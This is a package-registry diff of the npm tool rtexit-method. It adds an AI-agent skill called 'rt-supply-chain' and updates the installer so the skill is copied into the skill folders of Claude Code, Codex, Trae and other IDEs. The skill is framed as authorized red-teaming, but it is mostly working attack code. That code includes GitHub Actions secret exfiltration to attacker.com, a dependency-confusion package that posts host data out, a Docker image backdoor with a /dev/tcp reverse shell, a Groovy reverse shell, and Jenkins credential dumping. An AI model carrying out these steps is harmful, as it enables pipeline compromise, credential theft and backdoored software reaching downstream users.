rtexit-method 0.1.2 → 0.1.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,322 @@
1
+ ---
2
+ name: rt-supply-chain
3
+ description: "Supply chain attack simulation for authorized red team engagements. GitHub Actions workflow compromise, CI/CD pipeline secret extraction, npm/PyPI/RubyGems package dependency confusion, container registry poisoning, dependency hijacking, and build system compromise. Use when engagement scope includes development infrastructure, CI/CD pipelines, or software supply chain testing."
4
+ ---
5
+
6
+ # rt-supply-chain — Supply Chain Attack Simulation
7
+
8
+ ## Overview
9
+
10
+ Supply chain attacks target the development and delivery pipeline rather than production systems directly. A single compromised dependency, CI/CD pipeline, or build system can grant persistent access to every downstream consumer. Supply chain was the attack vector in SolarWinds, XZ Utils, and numerous npm/PyPI incidents.
11
+
12
+ **Attack surfaces:**
13
+ - CI/CD pipelines (GitHub Actions, GitLab CI, Jenkins, CircleCI)
14
+ - Package managers (npm, PyPI, RubyGems, Maven, NuGet)
15
+ - Container registries (Docker Hub, ECR, GCR)
16
+ - Build systems and artifact repositories
17
+ - Third-party integrations and OAuth apps
18
+
19
+ ---
20
+
21
+ ## Phase 1 — Reconnaissance: Map the Supply Chain
22
+
23
+ ```bash
24
+ # Find what CI/CD system is used
25
+ # GitHub: look for .github/workflows/*.yml
26
+ # GitLab: .gitlab-ci.yml
27
+ # Jenkins: Jenkinsfile
28
+ # CircleCI: .circleci/config.yml
29
+
30
+ # Enumerate org's GitHub Actions workflows
31
+ gh api /repos/ORG/REPO/actions/workflows | jq '.workflows[].name'
32
+
33
+ # Find exposed secrets in public repos
34
+ trufflehog github --org=TARGET_ORG --only-verified
35
+ gitleaks detect --source . --verbose
36
+
37
+ # Find dependency files
38
+ find . -name "package.json" -o -name "requirements.txt" \
39
+ -o -name "Gemfile" -o -name "pom.xml" -o -name "go.mod"
40
+
41
+ # Check npm packages used
42
+ cat package.json | jq '.dependencies, .devDependencies'
43
+
44
+ # Check for internal package names (dependency confusion targets)
45
+ # Internal names often: @company/internal-lib, company-utils, etc.
46
+ cat package.json | grep -i "internal\|private\|corp\|company"
47
+ ```
48
+
49
+ ---
50
+
51
+ ## Phase 2 — GitHub Actions Pipeline Compromise
52
+
53
+ ### 2a — GITHUB_TOKEN Abuse (Excessive Permissions)
54
+
55
+ ```bash
56
+ # GITHUB_TOKEN is auto-provided to every workflow
57
+ # If permissions are write-all → can push to repo, create releases, etc.
58
+
59
+ # Check workflow permissions
60
+ cat .github/workflows/deploy.yml | grep -A5 "permissions:"
61
+ # Dangerous: permissions: write-all OR contents: write + packages: write
62
+
63
+ # In a compromised workflow run context:
64
+ # Exfiltrate GITHUB_TOKEN
65
+ - name: exfil
66
+ run: |
67
+ curl -H "Authorization: token ${{ secrets.GITHUB_TOKEN }}" \
68
+ https://api.github.com/user
69
+
70
+ # Use GITHUB_TOKEN to push to protected branch
71
+ git config user.email "action@github.com"
72
+ git config user.name "GitHub Actions"
73
+ git remote set-url origin https://x-access-token:${{ secrets.GITHUB_TOKEN }}@github.com/ORG/REPO
74
+ git push origin main --force
75
+ ```
76
+
77
+ ### 2b — Secret Extraction from Workflow
78
+
79
+ ```bash
80
+ # Secrets are masked in logs but can be extracted via encoding tricks
81
+ # (In authorized tests only — demonstrates the risk)
82
+
83
+ # Exfil via base64 (bypasses log masking for short secrets)
84
+ - name: exfil-secrets
85
+ run: |
86
+ echo "${{ secrets.AWS_SECRET_ACCESS_KEY }}" | base64 | \
87
+ curl -X POST https://attacker.com/collect -d @-
88
+
89
+ # Exfil via environment variable split
90
+ - name: exfil-split
91
+ run: |
92
+ secret="${{ secrets.DATABASE_PASSWORD }}"
93
+ echo "${secret:0:4}"
94
+ echo "${secret:4:4}"
95
+ # Piece together from logs
96
+ ```
97
+
98
+ ### 2c — Workflow Injection (Pull Request from Fork)
99
+
100
+ ```yaml
101
+ # Vulnerable workflow: uses pull_request_target + checks out PR code
102
+ # Attacker creates fork, modifies workflow, opens PR
103
+
104
+ # Vulnerable (target's workflow):
105
+ on:
106
+ pull_request_target:
107
+ types: [opened]
108
+ jobs:
109
+ test:
110
+ runs-on: ubuntu-latest
111
+ steps:
112
+ - uses: actions/checkout@v3
113
+ with:
114
+ ref: ${{ github.event.pull_request.head.sha }} # ← checks out attacker code
115
+ - run: npm test # ← runs attacker's package.json scripts
116
+
117
+ # Attacker's fork — modify package.json:
118
+ {
119
+ "scripts": {
120
+ "test": "curl https://attacker.com/exfil?token=$GITHUB_TOKEN"
121
+ }
122
+ }
123
+ ```
124
+
125
+ ### 2d — Compromised GitHub Action (Third-Party Action Abuse)
126
+
127
+ ```bash
128
+ # Many workflows use third-party actions pinned to branch (not commit hash)
129
+ # If action is compromised (maintainer account takeover), all users affected
130
+
131
+ # Check for unpinned actions
132
+ grep -r "uses:" .github/workflows/ | grep -v "@[a-f0-9]\{40\}"
133
+ # Dangerous: actions/checkout@v3 (branch tag, not commit SHA)
134
+ # Safe: actions/checkout@2d7d9f7789898b426… (full SHA)
135
+
136
+ # Demonstrate risk: if you control the action repo
137
+ # Modify action.yml entrypoint to exfiltrate secrets before running real action
138
+ ```
139
+
140
+ ---
141
+
142
+ ## Phase 3 — Dependency Confusion Attack
143
+
144
+ ```bash
145
+ # Target uses private package @corp/internal-utils (not published to public npm)
146
+ # If NOT published publicly → attacker can publish a malicious version
147
+
148
+ # Step 1: Find internal package names
149
+ # Search GitHub for "require('@corp/", "from '@corp/"
150
+ gh search code "require('@corp/" --language=JavaScript
151
+ # Or: check exposed package.json in public repos
152
+
153
+ # Step 2: Check if name is taken on public registry
154
+ npm view @corp/internal-utils # If "404 Not Found" → vulnerable
155
+
156
+ # Step 3: Register the name with a higher version
157
+ # Create malicious package:
158
+ mkdir corp-internal-utils && cd corp-internal-utils
159
+ cat > package.json << 'EOF'
160
+ {
161
+ "name": "@corp/internal-utils",
162
+ "version": "9.9.9",
163
+ "description": "dependency confusion PoC",
164
+ "main": "index.js"
165
+ }
166
+ EOF
167
+
168
+ cat > index.js << 'EOF'
169
+ const os = require('os');
170
+ const https = require('https');
171
+ const data = JSON.stringify({
172
+ hostname: os.hostname(),
173
+ user: os.userInfo().username,
174
+ platform: os.platform(),
175
+ env: Object.keys(process.env)
176
+ });
177
+ const req = https.request({hostname: 'attacker.com', path: '/dc', method: 'POST',
178
+ headers: {'Content-Type': 'application/json'}});
179
+ req.write(data); req.end();
180
+ EOF
181
+
182
+ # Publish
183
+ npm publish --access public
184
+ # npm install will now pull version 9.9.9 (higher than any internal version)
185
+ ```
186
+
187
+ ---
188
+
189
+ ## Phase 4 — Container Registry Attacks
190
+
191
+ ### 4a — Public Registry Typosquatting
192
+
193
+ ```bash
194
+ # Find what base images target uses
195
+ grep -r "FROM " Dockerfile* docker-compose* .github/workflows/
196
+
197
+ # Common typosquats:
198
+ # ubuntu:20.04 → ubnutu:20.04 (typo)
199
+ # nginx:latest → ngnix:latest
200
+ # python:3.11 → pytohn:3.11
201
+
202
+ # Register typosquatted image on Docker Hub
203
+ # Add malicious layer that exfils secrets at container start
204
+ ```
205
+
206
+ ### 4b — ECR / GCR / ACR Misconfiguration
207
+
208
+ ```bash
209
+ # AWS ECR — check for public access
210
+ aws ecr describe-repositories --region us-east-1
211
+ aws ecr get-repository-policy --repository-name TARGET_REPO --region us-east-1
212
+
213
+ # If public: pull and inspect layers for hardcoded secrets
214
+ docker pull 123456789.dkr.ecr.us-east-1.amazonaws.com/target-app:latest
215
+ docker history 123456789.dkr.ecr.us-east-1.amazonaws.com/target-app:latest
216
+ docker save target-app:latest | tar x
217
+ # Inspect each layer tar for secrets
218
+
219
+ # Dive tool — better layer inspection
220
+ dive 123456789.dkr.ecr.us-east-1.amazonaws.com/target-app:latest
221
+ ```
222
+
223
+ ### 4c — Image Poisoning (After Registry Access)
224
+
225
+ ```bash
226
+ # If registry write access obtained (via stolen CI/CD creds or IAM misconfiguration)
227
+ # Build malicious image based on legitimate one
228
+
229
+ FROM legitimate-app:1.2.3
230
+ # Add backdoor layer
231
+ RUN echo '#!/bin/bash\nbash -i >& /dev/tcp/ATTACKER/4444 0>&1' > /usr/local/bin/healthcheck && \
232
+ chmod +x /usr/local/bin/healthcheck
233
+ CMD ["/usr/local/bin/start-with-backdoor.sh"]
234
+
235
+ # Push with same tag — replaces production image
236
+ docker tag malicious-app:latest REGISTRY/legitimate-app:1.2.3
237
+ docker push REGISTRY/legitimate-app:1.2.3
238
+ ```
239
+
240
+ ---
241
+
242
+ ## Phase 5 — Jenkins & Build System Attacks
243
+
244
+ ```bash
245
+ # Find Jenkins
246
+ nmap -sV -p 8080,8443,50000 TARGET_RANGE
247
+ # Check for open dashboard (no auth)
248
+ curl http://TARGET:8080/view/all/newJob
249
+
250
+ # Groovy script execution (if admin access)
251
+ # Jenkins → Manage Jenkins → Script Console
252
+ Thread.start {
253
+ def cmd = "id"
254
+ def proc = cmd.execute()
255
+ proc.waitFor()
256
+ println proc.text
257
+ }
258
+
259
+ # Groovy reverse shell
260
+ Thread.start {
261
+ String host="ATTACKER_IP"
262
+ int port=4444
263
+ String cmd="bash"
264
+ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start()
265
+ Socket s=new Socket(host,port)
266
+ InputStream pi=p.getInputStream(), si=s.getInputStream()
267
+ OutputStream po=p.getOutputStream(), so=s.getOutputStream()
268
+ while(!s.isClosed()) {
269
+ while(pi.available()>0) so.write(pi.read())
270
+ while(si.available()>0) po.write(si.read())
271
+ so.flush(); po.flush()
272
+ Thread.sleep(50)
273
+ }
274
+ }
275
+
276
+ # Extract credentials from Jenkins credential store
277
+ # Script Console:
278
+ import jenkins.model.Jenkins
279
+ import com.cloudbees.plugins.credentials.*
280
+ import com.cloudbees.plugins.credentials.impl.*
281
+
282
+ def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
283
+ com.cloudbees.plugins.credentials.common.StandardUsernameCredentials.class,
284
+ Jenkins.instance, null, null)
285
+ for (c in creds) {
286
+ println c.id + " : " + c.username + " : " + c.password
287
+ }
288
+ ```
289
+
290
+ ---
291
+
292
+ ## Skill Levels
293
+
294
+ **BEGINNER:**
295
+ - Dependency confusion: check if internal package names are registered publicly
296
+ - GitHub Actions: find secrets in workflow logs
297
+ - Docker layer inspection for hardcoded credentials
298
+
299
+ **INTERMEDIATE:**
300
+ - Dependency confusion: publish proof-of-concept package
301
+ - GitHub Actions workflow injection via pull_request_target
302
+ - Jenkins credential extraction via Groovy console
303
+
304
+ **ADVANCED:**
305
+ - GITHUB_TOKEN abuse to push to protected branches
306
+ - Container registry image poisoning
307
+ - CI/CD pipeline secret extraction via log manipulation
308
+
309
+ **EXPERT:**
310
+ - Third-party GitHub Action compromise simulation
311
+ - Multi-hop supply chain: package → CI/CD → production deployment
312
+ - Build system backdoor persistence
313
+
314
+ ---
315
+
316
+ ## References
317
+
318
+ - Research paper: https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610
319
+ - GitHub Actions security: https://securitylab.github.com/research/github-actions-preventing-pwn-requests/
320
+ - SLSA framework: https://slsa.dev
321
+ - MITRE ATT&CK T1195: https://attack.mitre.org/techniques/T1195/
322
+ - Snyk supply chain guide: https://snyk.io/blog/software-supply-chain-security/
@@ -20,7 +20,8 @@ async function installCommand(options = {}) {
20
20
 
21
21
  const targetRoot = resolveTargetRoot(answers.targetDirectory);
22
22
 
23
- await copyPackagedAssets({ repoRoot, targetRoot });
23
+ const ides = answers.ides && answers.ides.length ? answers.ides : ['agents'];
24
+ await copyPackagedAssets({ repoRoot, targetRoot, ides });
24
25
  await writeUserConfig({
25
26
  targetRoot,
26
27
  answers: {
@@ -29,7 +30,13 @@ async function installCommand(options = {}) {
29
30
  },
30
31
  });
31
32
 
33
+ const ideFolders = ides.map((ide) => {
34
+ const map = { agents: '.agents/skills', claude: '.claude/skills', trae: '.trae/skills', codex: '.codex/skills' };
35
+ return map[ide] || `.${ide}/skills`;
36
+ });
37
+
32
38
  io.log('RTExit installed successfully.');
39
+ io.log(`Skills installed into: ${ideFolders.join(', ')}`);
33
40
  io.log('Next steps:');
34
41
  io.log('1. Open _rtexit/config.user.toml and complete client/project details');
35
42
  io.log('2. Open your AI IDE in this project');
@@ -1,15 +1,24 @@
1
- function getInstallEntries() {
1
+ const IDE_SKILL_FOLDERS = {
2
+ agents: '.agents/skills',
3
+ claude: '.claude/skills',
4
+ trae: '.trae/skills',
5
+ codex: '.codex/skills',
6
+ };
7
+
8
+ function getInstallEntries(ides = ['agents']) {
9
+ const skillEntries = ides.map((ide) => ({
10
+ type: 'glob-dir-prefix',
11
+ base: 'packaged-assets/.agents/skills',
12
+ targetBase: IDE_SKILL_FOLDERS[ide] || `.${ide}/skills`,
13
+ prefix: 'rt-',
14
+ }));
15
+
2
16
  return [
3
- {
4
- type: 'glob-dir-prefix',
5
- base: 'packaged-assets/.agents/skills',
6
- targetBase: '.agents/skills',
7
- prefix: 'rt-'
8
- },
9
- { type: 'path', value: 'packaged-assets/_rtexit', target: '_rtexit' },
10
- { type: 'path', value: 'packaged-assets/templates', target: 'templates' },
11
- { type: 'path', value: 'packaged-assets/resources', target: 'resources' },
12
- { type: 'path', value: 'packaged-assets/RTEXIT.md', target: 'RTEXIT.md' }
17
+ ...skillEntries,
18
+ { type: 'path', value: 'packaged-assets/_rtexit', target: '_rtexit' },
19
+ { type: 'path', value: 'packaged-assets/templates', target: 'templates' },
20
+ { type: 'path', value: 'packaged-assets/resources', target: 'resources' },
21
+ { type: 'path', value: 'packaged-assets/RTEXIT.md', target: 'RTEXIT.md' },
13
22
  ];
14
23
  }
15
24
 
@@ -17,8 +17,8 @@ function copyRecursive(source, target) {
17
17
  fs.copyFileSync(source, target);
18
18
  }
19
19
 
20
- async function copyPackagedAssets({ repoRoot, targetRoot }) {
21
- for (const entry of getInstallEntries()) {
20
+ async function copyPackagedAssets({ repoRoot, targetRoot, ides }) {
21
+ for (const entry of getInstallEntries(ides)) {
22
22
  if (entry.type === 'path') {
23
23
  const sourcePath = path.join(repoRoot, entry.value);
24
24
  const targetPath = path.join(targetRoot, entry.target || entry.value);
@@ -22,12 +22,24 @@ async function askInstallQuestions({ cwd }) {
22
22
  ],
23
23
  });
24
24
 
25
+ const ides = await prompts.multiselect({
26
+ message: 'Which AI IDEs are you using? (space to select, enter to confirm)',
27
+ options: [
28
+ { value: 'agents', label: 'Cursor / Windsurf / VS Code (.agents/skills/)' },
29
+ { value: 'claude', label: 'Claude Code (.claude/skills/)' },
30
+ { value: 'trae', label: 'Trae (.trae/skills/)' },
31
+ { value: 'codex', label: 'Codex / OpenAI (.codex/skills/)' },
32
+ ],
33
+ initialValues: ['agents'],
34
+ required: true,
35
+ });
36
+
25
37
  const confirmed = await prompts.confirm({
26
38
  message: `Install RTExit into ${targetDirectory}?`,
27
39
  initialValue: true,
28
40
  });
29
41
 
30
- return { targetDirectory, language, document_output_language, confirmed };
42
+ return { targetDirectory, language, document_output_language, ides, confirmed };
31
43
  }
32
44
 
33
45
  module.exports = { askInstallQuestions };